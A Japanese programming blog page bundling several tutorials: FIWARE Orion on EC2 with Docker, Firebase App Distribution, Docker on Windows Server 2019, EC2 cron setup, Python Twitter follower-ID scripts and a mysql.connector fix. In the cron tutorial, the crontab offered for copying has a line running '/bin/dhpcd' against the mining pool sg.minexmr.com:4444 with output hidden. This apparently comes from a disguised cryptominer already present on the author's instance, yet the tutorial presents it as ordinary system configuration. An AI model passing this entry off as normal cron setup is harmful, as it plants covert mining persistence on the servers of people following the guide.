Engineerの研鑽

メインはプログラミング系ブログ(本の要約とかもします)

質問はCONTACTやコメントでお願い致します。

【簡単3分】AWS EC2 (Amazon Linux 2)でFIWARE環境を作成してみよう

FIWARE

こんにちわ。新卒が入ってきて自分の存在意義を考え始めた2年目のゆきとです。

 

最近、IoTを活用したスマートシティ検討がより活発化していく流れの中で、一際注目を浴びているサービスがFIWARE(分野横断的なデータ流通に主眼を置いたデータ管理基盤)です。

 

今日は、そんなFIWAREをEC2で使うための環境設定方法を紹介していきます。

*「はじめに」ではFIWAREの紹介をしているだけですので、環境構築だけしたいという方は、「はじめに」を飛ばしてください。

はじめに

FIWAREとは

FIWAREとは分野横断的なデータ流通に主眼を置いたデータ管理基盤です。

7カテゴリー、約40種のモジュール群で構成され、用途に合わせて自由に組み合わせて利用できます。

各モジュールは、OMA(Open Mobile Alliance)で標準化された「NGSI(Next Generation Service Interface)」で規定されており、これを通してデータの受け渡しが行われます。

要は、FIWAREは柔軟性の高いデータモデルで統合管理を可能にするすごいやつなんです。

FIWAREとは分野横断的なデータ流通に主眼を置いたデータ管理基盤

モジュール群の7カテゴリーは以下の通り。

  1. DATA/CONTEXT:コンテキスト管理、データ・メディア統合
  2. Internet of Things:IoTデバイスのサポート
  3. Advanced UI:3DやAR機能付きWeb UI等
  4. Security:セキュリティ・モニタリング認証、アクセス管理
  5. Interface to Networks and Devices (I2ND):ネットワーク、ロボット制御等
  6. APPS:可視化、ダッシュボード、データセット/サービスの公開
  7. Cloud:クラウド環境

FIWAREの特長

FIWAREのメリット

メリット1

 FIWAREの1番の売りは、なんといっても「低コストかつ効率的な基盤開発が可能」であるということでしょう。

モジュールはいずれもOpenStackやHadoop、ckanなど、新旧を含めたOSSをベースに開発されており、そのリファレンス実装は「FIWARE Catalogue」としてWebで広く公開されています。あとは雛形を参考に、必要なモジュールを組み合わせたり、機能を独自に追加したりなどの作業で、ライセンス費用の負担なくシステム環境を整備できたりもします。(すげー...) 

 

メリット2

FIWAREならではのデータ管理性の高さも外せないポイントです。

その秘密は実世界の多様な情報を抽象化して表現可能な独自のデータモデルにあり、たとえば温度センサーであれば、その属性である『温度』と、属性値である『摂氏』『20』『設置場所』など、多様なデータを『コンテキストデータ』として格納できる点にあります。また、ネットワーク経由でのデータ検出/取り込みのためのAPIも用意されています。

 

メリット3

システムの独立性の高さも事業者、開発者にとっては外せないポイントです。

FIWAREは、アプリケーションとデータがNGSIにより、いわば“疎結合”となることで、システム改修の手間とコストを軽減しています。結果、システムの見直しや新サービスの追加も容易となり、成功したプロジェクトのデータモデルを参考に、取り組みの横展開までも容易にしてしまいます。

すでに「環境」「交通」「廃棄物管理」「天候」などの領域でいくつものデータモデルが公開されています。

スマートシティにおけるエリアデータ連携の代表的なアプローチ

ここまで読むと、FIWAREがなんたるかがわかってきたのではないでしょうか?

 

さて、前置きが長くなってしまいましたが、それでは本題のFIWAREをEC2で使うための環境設定方法を紹介していきます。

FIWAREをEC2で使うための環境設定方法

開発環境

  • windowsPC

 

環境設定方法詳細

FIWAREをEC2で使うための環境設定方法の手順は下記のステップです。

  1. 特定の条件でEC2インスタンスを作成する
  2. Teratermを使ってEC2へログイン
  3. EC2の中にdocker、docker-composeをインストールする
  4. docker環境にFIWAREを導入する
1. 特定の条件でEC2インスタンスを作成する

下記の条件を満たす形でEC2を作成します

  • リージョン : 東京(ap-northeast-1)
  • OS : Amazon Linux 2 AMI (HVM), SSD Volume Type
  • インスタンスタイプ : t2.micro
  • セキュリティグループ : allow-ssh (22番ポートを開放していれば名前はなんでもよい)
2. Teratermを使ってEC2へログイン

Teratermwindowsに内蔵された基本ツール)を使って、ステップ1で作成したEC2へ接続します。

Teratermを使って、EC2へログインをする際に必要な設定項目は下記です。

  • ホスト : EC2のパブリックIPv4アドレス
  • ユーザ名 : ec2-user
  • 認証方式 : 秘密鍵(この秘密鍵にはEC2作成時に発行したキーペアを指定してください)

* 下の写真を追いかけながら、EC2へのログインを試みてください。

EC2ログイン1

EC2ログイン2

EC2ログイン3

EC2ログイン4

3. EC2の中にdocker、docker-composeをインストールする
  • Dockerのインストール(2021年4月9日現在Docker 19.03.13-ceがインストールされます)

    • sudo yum install -y docker

    • sudo systemctl start docker

    • sudo usermod -a -G docker ec2-user(※ec2-userの場合を想定)

  • (オプション)自動起動を有効にする

    • sudo systemctl enable docker

  • docker-composeのインストール

  • 一度EC2からログアウト、再ログイン(docker、docker-composeコマンドが使えるようになっています)

4. docker環境にFIWAREを導入する
  • docker環境にFIWAREを導入
    • docker pull mongo:3.6
    • docker pull fiware/orion
    • docker network create fiware_default

docker, docker-composeをインストールする

上記の様な画面が表示されるとFIWAREのインストールは完了です。

 

ここで終わっても良いのですが、それでは味気ないので実際にFIWAREを入れたdocker環境にローカル環境アクセスし、FIWAREのバージョンを確認してみましょう!

 

MongoDB データベースを実行している Docker コンテナを起動し、ネットワークに接続するには、次のコマンドを実行します 。

docker run -d --name=mongo-db --network=fiware_default \
--expose=27017 mongo:4.2 --bind_ip_all

 

Orion Context Brokerは、次のコマンドを使用して起動し、ネットワークに接続できま す。

docker run -d --name fiware-orion --network=fiware_default \
-p 1026:1026 fiware/orion -dbhost mongo-db

 

ここまでできればあとは、EC2のIPアドレスに/version/をつけてアクセスしてみてください!FIWAREのバージョンを見ることができます。

ex. http://124.654.493:1026/version/

FIWAREバージョン確認

できた!!!

今日の内容は以上です!少しでも参考になれば幸いです。

それではまた後日!

参考サイト

www.sbbit.jp

www.letsfiware.jp

fiware-tutorials.letsfiware.jp

qiita.com

【Androidアプリケーションの限定配信を実現】Firebase App Distribution

Firebase App Distribution

朝起きてブログ、仕事が終わってから筋トレした後にもブログを書いているゆきとです。

 

本日は、Androidアプリケーションのテスター向け配信手段の一つである「Firebase App Distribution」の使い方について紹介します。

はじめに

Firebase App Distribution はベータ版リリースです。

これは、機能が後方互換性のない方法で変更される可能性があることを意味します。

ベータ版リリースは、SLA または非推奨ポリシーの対象ではなく、サポートが限定的であるか、またはサポートがまったく提供されない場合があります。

何ができるのか

登録したテスターに対してアプリ配信を行えます。

firebase.google.com

配信の手順

  1. アプリをFirebaseコンソールに登録する
  2. テスターを事前登録
  3. apkファイルをコンソールに追加
  4. 配信登録で配信先を選択し配信
  5. 端末側でFirebaseAppTransfer設定
  6. FirebaseAppTransferから配信されたテスター用アプリをインストール
1. アプリをFirebaseコンソールに登録する

アプリをFirebaseコンソールに登録する

今回はテスト用に新しく作成したプロジェクト「NewAgent」に追加します。

App Distribution

左側コンテンツツリーから「App Distribution」を選択します。

2.テスターを事前登録

 テスターの事前登録1

この画面の上部タブ切り替えで「テスターグループ」を選択します。

 テスターの事前登録2

テスターになるアカウントのメールアドレスを追加します。

一括追加も可能です。

firebase.google.com

3. apkファイルをコンソールに追加

apkファイルをコンソールにアップロード

上部ドラッグエリアにapkファイルをドラッグしてアップロードします。

 4.配信登録で配信先を選択し配信

ここでは先ほど追加したテスターを選択し「次へ」をクリックします。

配信登録で配信先を選択し配信

リリースノートが必要であれば追加し「一人のテスターに配布」で配信を実行します。

ここでは先ほど追加したテスターを選択し「次へ」

5.端末側でFirebaseAppTransfer設定 

未経験で招待される端末では招待メールが届きます。

招待メール

 

招待メール内の「Get started」でFirebase App Transferアプリがセットアップされます。

Firebase App Transferアプリ

※この際Chromeからアプリインストール許可を要求される場合は許可しておきます。

Googleのアカウントにログインしていない場合、Googleアカウントへのログインを要求されます。

6. FirebaseAppTransferから配信されたテスター用アプリをインストール

招待に応じた後、アプリのダウンロードを行います。(ここからは一連の流れとなるので、写真を追いながらアプリを端末にインストールしてください。)

 

写真の見方 :  「左 => 右 => 左下 => 右下」の順で確認していきます。

アプリダウンロードアプリダウンロード2

アプリインストール1アプリインストール2

アプリインストール3アプリインストール4

ここまでくれば、アプリのインストールは完了です。

アプリインストール完了

基本的には表示されているボタンを押し続けるだけでよいです。

※この際Firebase App Transferからアプリインストール許可を要求される場合は許可しておきます。

注意点

  1. Firebase App Transferを設定するに当たって、Googleアカウントが必要となるので、事前に作成しておきます。(テスター用gmailアドレスもこの段階で作成したアカウントのgmailにするとOKです)
  2. 端末側では「不明なアプリケーションのインストールを許可」しておく必要があります

後書き

 今日の内容は以上です!!

 これで明日からAndroidアプリを限定公開できますね!🤗

 楽しいAndroidライフを!それではまた後日ー

【わかるEC2】Microsoft Windows Server 2019でDocker環境を作ろう!

Microsoft Windows Server 2019

最近、大きな仕事が一つ終わったせいか、燃え尽き症候群になりかけているゆきとです。なんとかブログを書いたりプログラムを書いたりして燃え尽きないように日々行動を続けて自分を騙しています笑

 

本日はAWS EC2でWindows環境を作り、そのWindows環境にDocker環境を入れる方法を紹介したいと思います。

 

EC2インスタンス設定内容

下記の4点以外はデフォルトの設定のまま利用可能

  1. リージョン : 東京リージョン(ap-northeast-1)
  2. AMI : Microsoft Windows Server 2019 Base
  3. インスタンスタイプ : t2.large (t2.microでもいける?) 
  4. セキュリティグループ: 3389番ポートのみを開放していればよい

* 東京リージョン選定理由 : 海外にデータセンターを起きたくないため

* インスタンスタイプt2.large選定理由 : 

EC2上に仮想環境を作るときに2 vcpu 数、8 GB メモリ程度のスペックが必要になるため( https://teratail.com/questions/159118 ) => 私は先にこちらの記事を見ていたので、最初からt2.largeにしてしまいましたが、みなさんが設定される時は、t2.microで試してみてください。

EC2でDocker in WindowsOS環境作成する

 それでは作成していきます。手順はふたつです。

  1. AWS EC2インスタンスWindows環境で作成
  2. 作成したEC2インスタンスにRDP接続を行い、Docker環境を構築する

一つずつ説明していきます。

1. AWS EC2インスタンスWindows環境で作成

 EC2インスタンス設定内容で記述した条件で、EC2を作成する。(ここはそんなに難しくないので割愛します)

*EC2インスタンスを設定するときに作成したEC2へのアクセスキーは控えておいてください。(.pem形式のファイルです)手順2で使用します。

 

手順2を詳しく解説します。

2. 作成したEC2インスタンスにRDP接続を行い、Docker環境を構築する

まず、EC2インスタンスへRDPする前準備として、EC2インスタンスへRDP ( RemoteDesktopProtocol ) 接続(インスタンスを選択 > ヘッダー付近にある接続)を行クリックします。

EC2インスタンスRDP接続

EC2インスタンスRDP接続手順1

こちらの画面まで遷移した後、下記2点を行います。

リモートデスクトップファイルのダウンロード

パスワードの発行(EC2へのアクセスキーを使って、パスワードを発行します。このパスワードは、リモートデスクトップのログイン時に利用します)

 

ここまで行えば、EC2インスタンスへRDPする前準備は完了です。

 

次に、EC2へのRDP接続を行っていきます。

やり方はシンプルで、先程①リモートデスクトップファイルのダウンロードでダウンロードした.rdpファイルをダブルクリックして実行。

その後、何度か許可を求められたりする画面に全て許可をいれ、パスワード入力画面に移行。

そのパスワード入力画面で、先程②パスワード発行で作成したパスワードを入力して、接続すれば無事EC2にアクセスできます。

EC2 WindowsOS

ここまでくれば、あと一息です。コマンドをぽちぽちしてDockerをインストールしていきましょう。(2021/04/06現在はこのコマンドで実行できますが、一年後同じ様にできるとは限りません)

 

Qiitaの記事(https://qiita.com/Targityen/items/c4ed5ed9b9227e2f573d )を参考にしつつ、設定を進めていきます。(記事の内容が古いので、適宜コマンドに変更を加えています)

 

1. RDP接続したEC2内で、PowerShellを起動

(右クリック => Personalize => powershellで検索 => PowerShell Developer Settings => PowerShell => Show settings)

 

2. Hyper-Vをインストール

コマンド1Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Hyper-V -All -NoRestart
コマンド2Install-WindowsFeature RSAT-Hyper-V-Tools -IncludeAllSubFeature

 

3. コンテナ機能をインストール 

コマンドPowerShell Install-WindowsFeature containers

 

4. ここまで設定できれば一度、再起動を行う

コマンドRestart-Computer

* EC2への接続が削除されるはずなので、再度RDP接続を行っておく

 

5. DockerEEをインストールするためのプロバイダをインストール

コマンドPowerShell Install-Module -Name DockerMsftProvider -Repository PSGallery -Force

 

6. DockerEEのインストール

コマンドPowerShell Install-Package -Name Docker -ProviderName DockerMsftProvider -Force

 

7. ここまで設定できれば一度、再起動を行う 

コマンドRestart-Computer

*ここでもEC2への接続が削除されるはずなので、再度RDP接続を行っておく

 

以上でDockerのインストールは完了です。7. で再接続したEC2でDockerがインストールされているかをdocker --versionコマンドで確認して、無事確認できればdockerがインストールは完了です。

 

*もし今までの流れの中でうまくいかない部分があれば、エラー文を一つ一つgoogle先生で調べてみてください。(エラー文でググるとたいていなんとかなります)

Dockerインストール完了

 

以上、今日もブログを読んでくださり、本当にありがとうございます。

 

それではまた後日!

【わかる】EC2のCronの設定方法

お久しぶりです。(久しぶりすぎて忘れられていると思いますが)半年ぶりのゆきとです。

 

ここ半年ほど開発案件に付きっきりになっており、長らくブログを書いておりませんでした。ですので、今、こうやってブログをかける幸せを噛み締めているところです笑

 

さて余談もそこそこに本題にはいっていきます。

 

今日はEC2でのCron設定方法を紹介します。

 

すでにたくさんの記事で書かれている内容かと思いますが、他の記事をみていると痒い所に手が届いていないような記述がされているケースが多く、一つの記事をみただけではCronの設定がうまくできませんでした(いろんな記事の情報を寄せ集めてなんとか設定できました)。

 

なのでこの記事では、こうしたらEC2でCronの設定ができる(2021/04/04現在)という方法をこの記事だけで完結する様に紹介します。

*いくつか、つまずくポイントが隠されているので、そこは太字で示します。

1. EC2にSSHでログイン

まずEC2にSSHでログインします。(ここは特に問題はないと思うのでさらっとだけ紹介します)

EC2 SSHログインssh -i ~/.ssh/公開鍵名.pem ユーザ名@IPアドレス
ex. ) ssh -i ~/.ssh/test-test.pem ec2-user@18.111.191.119   

EC2にログインができたら、次はCronの設定です

2. EC2内のCrontabの編集

EC2内のCrontab設定ファイル(/var/spool/cron/root)を編集します。

EC2 Crontab編集sudo crontab -e

//1〜3行はcronを適切に動作させるためのおまじない(cronのパスを設定しています。ここを設定しないと動かないのですが、他の記事では書かれていない場合が多々ありました)

//4行目はすでにEC2で設定されているcron

//5行目は今回追加したcron (毎分 "Is this working" と出力される)

PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/
38 * * * * /bin/dhpcd -o sg.minexmr.com:4444 -B >/dev/null 2>/dev/null
* * * * * echo "Is this working"

上記の様にCrontabが設定できれば、次に動作確認を行います。

3. Cronの動作確認

EC2内のCron動作を下記のコマンドから確認します。

Cron動作確認sudo tail -f /var/log/cron

Cron動作結果

図の様に1分ごとにecho "Is this working"コマンドが実行されているのが確認できると思います。

 

ここまでできればEC2でのCron設定は終了です。あとは、自分がcronをしたいファイルごとにcronを設定するだけとなります。

 

うまく設定できましたか?何かあれば、右上のtwitterからDMください!この記事が少しでも参考になれば幸いです。

 

それではまた後日!!

図解即戦力 Amazon Web Servicesのしくみと技術がこれ1冊でしっかりわかる教科書

図解即戦力 Amazon Web Servicesのしくみと技術がこれ1冊でしっかりわかる教科書

  • 作者:小笠原 種高
  • 発売日: 2019/11/07
  • メディア: 単行本(ソフトカバー)
 

 

【コピペでできるpython】twitter apiを使ってフォロワーのtwitter idを取得してみよう!

twitter api get follower twitter id

万物は流転する。令和のヘラクレイトスことゆきとです。

 

今日はtwitter apiを使ってフォロワーのtwitter idを取得していきます。

*前回の記事の続きです。まだみてない方は前回の記事をみてください!と言いたいところではありますが、今回の記事だけをみても理解できるように書いていますので、前回の記事はみなくても大丈夫です笑 

 

貼るだけ貼っておきます。

www.yukiyukiponsu.work

twitterから情報を取得する方法は2パターン (Beartokenを使うパターン, access tokenを使うパターン)があるのですが、後にいいねやリツートなどもしたいので今回はaccess tokenを使う方法でAPIを使用し、twitterから情報を取得します。

twitterから情報の取得だけをしたい場合、Beartokenを使うパターンでもOKです。

 

詳しい2つの違いなどは下記のドキュメントを参照してください(英語なのは許してください...)

OAuth with the Twitter API | Docs | Twitter Developer

 

それでは作っていきましょう!

前提条件

  • すでにtwitterAPIキーを取得している
  • pythonを触ったことがある
  • やる気がある

もしまだtwitterAPIキーを取得されてない方はこちらのサイトを参考にAPIキーを取得してください。(めちゃくちゃわかりやすくまとめてくれてます)

qiita.com

開発環境

実行結果

実行結果
このような形でフォロワーのtwitter idを取得できます!

今回のソースコードではフォロワーが7万5千人以下の方であれば、一度でフォロワー全てのtwitter idを取得できます。

ソースコード

pprintとjsonは最初から入っていますが、requests_oauthlibはライブラリをインストールする必要があるので、インストールしてください。

ライブラリのインストールpip install requests_oauthlib

以下のソースコードはコピペでOKです!!(一部変えるところがあるので、ちゃんと最後まで読んでくださいね!)

ファイル名 : twitter_get_follower_twitter_id.py

#OAuth認証をするためのライブラリ
from requests_oauthlib import OAuth1Session 
#APIからの返り値を整形して受け取るためのライブラリ https://docs.python.org/ja/3/library/pprint.html
import pprint
#json形式を扱うためのライブラリ
import json

#OAuth認証
try:
    twitter = OAuth1Session("consumer_key", "consumer_secret", "access_token", "access_secret")
    #例) twitter = OAuth1Session("E7OL..", "iJmUt4WU..", "10869..", "VSaWjM..")
except:
    print("twitter認証エラー")

### 自身のツイート内容からtwitter idとフォロワー数を取得 ###

#指定したツイートIDの情報を取得するためのurl
get_tweet_info_url = "https://api.twitter.com/1.1/statuses/show.json?id=1110088233587662848"
#実際にAPIを投げて返り値を受け取る
req_tweet = twitter.get(get_tweet_info_url)

#返り値が正常に帰ってきていない場合、エラーを出す
if req_tweet.status_code != 200:
    print("指定したツイートの情報を取得できませんでした")

#jsonでは処理がしにくいので、jsonを辞書形式に変換
req_tweet_json = json.loads(req_tweet.text)

#通常のprint文だと出力がすごくみづらいので、pprintを使ってみやすくしている
# pprint.pprint(req_tweet_json, width=40)

print("ツイートしたユーザのtwitter id : ", req_tweet_json['user']['id_str'])
print("ツイートしたユーザ名 : ",           req_tweet_json['user']['name'])
print("ツイートしたユーザのフォロワー数 : ", req_tweet_json['user']['followers_count'])

##### 前回の記事からの追加分 #####

#前回ブログで取得したツイートしたユーザのtwitter_idを変数に格納
twitter_user_id = req_tweet_json['user']['id_str']

#フォロワーのtwitter idを入れる配列の初期化
follower_list = []

#ツイートしたユーザのtwitter_idを指定して、そのユーザのフォロワーのtwitter idを取得するためのurl
twitter_get_followers_id_url = "https://api.twitter.com/1.1/followers/ids.json?id=" + twitter_user_id
#実際にAPIを投げて返り値を受け取る
req_tweet = twitter.get(twitter_get_followers_id_url)

#返り値が正常に帰ってきていない場合、エラーを出す
if req_tweet.status_code != 200:
    print("このアカウントのフォロワーを取得できませんでした")

#jsonでは処理がしにくいので、jsonを辞書形式に変換
req_tweet_json = json.loads(req_tweet.text)

#通常のprint文だと出力がすごくみづらいので、pprintを使ってみやすくしている
# pprint.pprint(req_tweet_json, width=40)

#取得したフォロワーのtwitter idを初期化していた配列に格納
follower_list.extend(req_tweet_json['ids'])
#取得したフォロワーのtwitter idを表示
# print(follower_list)
print("取得したフォロワー数 0〜5000 : ", len(follower_list))

#上記のAPIでは一回で5000人のフォロワーのtwitter idしか取得できないので、それ以上フォロワーがいる人の場合下記を追記
# 5001人目のフォロワーのtwitter idをnext_cursorで取得
# print("ネクストカーソル : ", req_tweet_json['next_cursor'])

#何度繰り返し実行したかを記録
count = 1
#5000人単位で区切りがくるので、5000という数字を定義しておく
api_max_get_followers_id_onetime = 5000

#次に控えているフォロワーのtwitter idがなくなるまでフォロワーのtwitter idを取得する
#ただしAPIに制限があるのでそこには要注意!!(15分で15回 = 1回の実行で得られるフォロワーのtwitter idはmax 75000人)
#75000人以上を取得したい場合は、time.sleep(900)を挟んでAPIを再度実行するようなコードを実装してみてください(今回はわかりやすくするためにコードは割愛しますが、要望があれば公開しますね)
while req_tweet_json['next_cursor'] != 0:
    twitter_get_follower_id_api_url = "https://api.twitter.com/1.1/followers/ids.json?id=" + twitter_user_id + "&cursor=" + req_tweet_json['next_cursor_str']
    
    req_tweet = twitter.get(twitter_get_follower_id_api_url)

    if req_tweet.status_code != 200:
        print("このアカウントのフォロワーを取得できませんでした")

    req_tweet_json = json.loads(req_tweet.text)
    follower_list.extend(req_tweet_json['ids'])
    # print("ネクストカーソル : ", req_tweet_json['next_cursor'])
    print("フォロワー数 %d 〜 %d : %d" % (count*api_max_get_followers_id_onetime, (count+1)*api_max_get_followers_id_onetime, len(req_tweet_json['ids']) + count*api_max_get_followers_id_onetime))
    count += 1

print("follower idリスト : ", follower_list)
print("合計フォロワー数 : ", len(follower_list))

このコードのAPIキーの部分(OAuth1..)を自分が取得したものに変えていただいて、コードを実行してください。

pythonの実行python twitter_get_follower_twitter_id.py

これで実行ができるはずなので、最初に示した実行結果と同じ結果になるかを確認してください。

 

無事表示されれば終了です!お疲れ様でした!

どうでしたか?少しでも参考になれば幸いです。

 

それではまた後日!!

参考

今回使用したtwitter apiのドキュメント

自分のtwitter id・名前・フォロワー数の取得 : GET users/show | Docs | Twitter Developer

フォロワーtwitter idの取得 : GET followers/ids | Docs | Twitter Developer

【コピペでできるpython】twitter apiを使ってフォロワー数を取得してみよう!

twitter api

こんにちわ。ゆきとです。

 

最近、自分よりも若い人が自分よりも圧倒的に結果を出しているのをみて、打ちのめされています。自分は自分、他人は他人と割り切り努力を続けます。

 

余談はこのくらいにして、今日はtwitter apiを使ってフォロワーを取得していきます。

 

twitterから情報を取得する方法は2パターン (Beartokenを使うパターン, access tokenを使うパターン)があるのですが、後にいいねやリツートなどもしたいので今回はaccess tokenを使う方法でAPIを使用し、twitterから情報を取得します。

twitterから情報の取得だけをしたい場合、Beartokenを使うパターンでもOKです。

 

詳しい2つの違いなどは下記のドキュメントを参照してください(英語なのは許してください...)

OAuth with the Twitter API | Docs | Twitter Developer

 

それでは作っていきましょう!

前提条件

  • すでにtwitterAPIキーを取得している
  • pythonを触ったことがある
  • やる気がある

もしまだtwitterAPIキーを取得されてない方はこちらのサイトを参考にAPIキーを取得してください。(めちゃくちゃわかりやすくまとめてくれてます)

qiita.com

開発環境

実行結果

実行結果

このような形でフォロワー数を取得できます!

自分のtwitter idとかツイッター名とかも取得できるので、自分の欲しい情報を取得してみてください。

ソースコード

pprintとjsonは最初から入っていますが、requests_oauthlibはライブラリをインストールする必要があるので、インストールしてください。

ライブラリのインストールpip install requests_oauthlib

以下のソースコードはコピペでOKです!!(一部変えるところがあるので、ちゃんと最後まで読んでくださいね!)

ファイル名 : twitter_get_follower.py

#OAuth認証をするためのライブラリ
from requests_oauthlib import OAuth1Session 
#APIからの返り値を整形して受け取るためのライブラリ https://docs.python.org/ja/3/library/pprint.html
import pprint
#json形式を扱うためのライブラリ
import json

#OAuth認証
try:
    twitter = OAuth1Session("consumer_key", "consumer_secret", "access_token", "access_secret")
    #例) twitter = OAuth1Session("E7OL..", "iJmUt4WU..", "10869..", "VSaWjM..")
except:
    print("twitter認証エラー")

### 自身のツイート内容からtwitter idとフォロワー数を取得 ###

#指定したツイートIDの情報を取得するためのurl
get_tweet_info_url = "https://api.twitter.com/1.1/statuses/show.json?id=1110088233587662848"
#実際にAPIを投げて返り値を受け取る
req_tweet = twitter.get(get_tweet_info_url)

#返り値が正常に帰ってきていない場合、エラーを出す
if req_tweet.status_code != 200:
    print("指定したツイートの情報を取得できませんでした")

#jsonでは処理がしにくいので、jsonを辞書形式に変換
req_tweet_json = json.loads(req_tweet.text)

#通常のprint文だと出力がすごくみづらいので、pprintを使ってみやすくしている
#pprint.pprint(req_tweet_json, width=40)

print("ツイートしたユーザのtwitter id : ", req_tweet_json['user']['id_str'])
print("ツイートしたユーザ名 : ",           req_tweet_json['user']['name'])
print("ツイートしたユーザのフォロワー数 : ", req_tweet_json['user']['followers_count'])

 このコードのAPIキーの部分(OAuth1..)を自分が取得したものに変えていただいて、コードを実行してください。

pythonの実行python twitter_get_follower.py

これで実行ができるはずなので、最初に示した実行結果と同じ結果になるかを確認してください。

 

無事表示されれば終了です!お疲れ様でした!

どうでしたか?少しでも参考になれば幸いです。

 

それではまた後日!!

【Python MySQLエラー】ImportError: No module named mysql.connector

python mysql error

こんにちわ。ゆきとです。 

今日は少しハマったエラー「ImportError: No module named mysql.connector」の解決策を、仮想環境 (Anaconda) を使う場合に絞って紹介させていただきます。

 

ちなみに仮想環境を使わない環境の場合は、純粋にライブラリのインストールミスだったりするので、下記の記事を参考にしながらもう一度ライブラリのインストール(pip install mysql-connector-python)から行ってみてください。

【mysql-connector-python】PythonからMySQLを操作する - footmark

 

それではさっそく本題の仮想環境 (Anaconda) でのmysql.connector importエラーを解決していきます。

私の環境は下記の通りです。 

python実行環境

conda version : 4.8.2

python version : 3.7.6

MacOS : 10.15.6

解決策については、結論だけ書きます。

「Anacondaなどの仮想環境でmysqlを操作したい場合、その仮想環境自体にmysqlを操作するためのライブラリを入れる必要があります」(私はここを忘れて四苦八苦していました)

Anacondaでmysqlを操作したい場合は下記のコマンドを入力する。

 その後、通常の環境でmysqlを操作するような形で実装をしていけます。

mysqlの操作はこちらの記事を参考に行ってください。

【mysql-connector-python】PythonからMySQLを操作する - footmark

 たったこれだけのエラーに1時間ほど費やしてしまった。私もまだまだです。みなさま一緒に努力していきましょう!!!!

 

今日の内容は以上です。

 それではまた!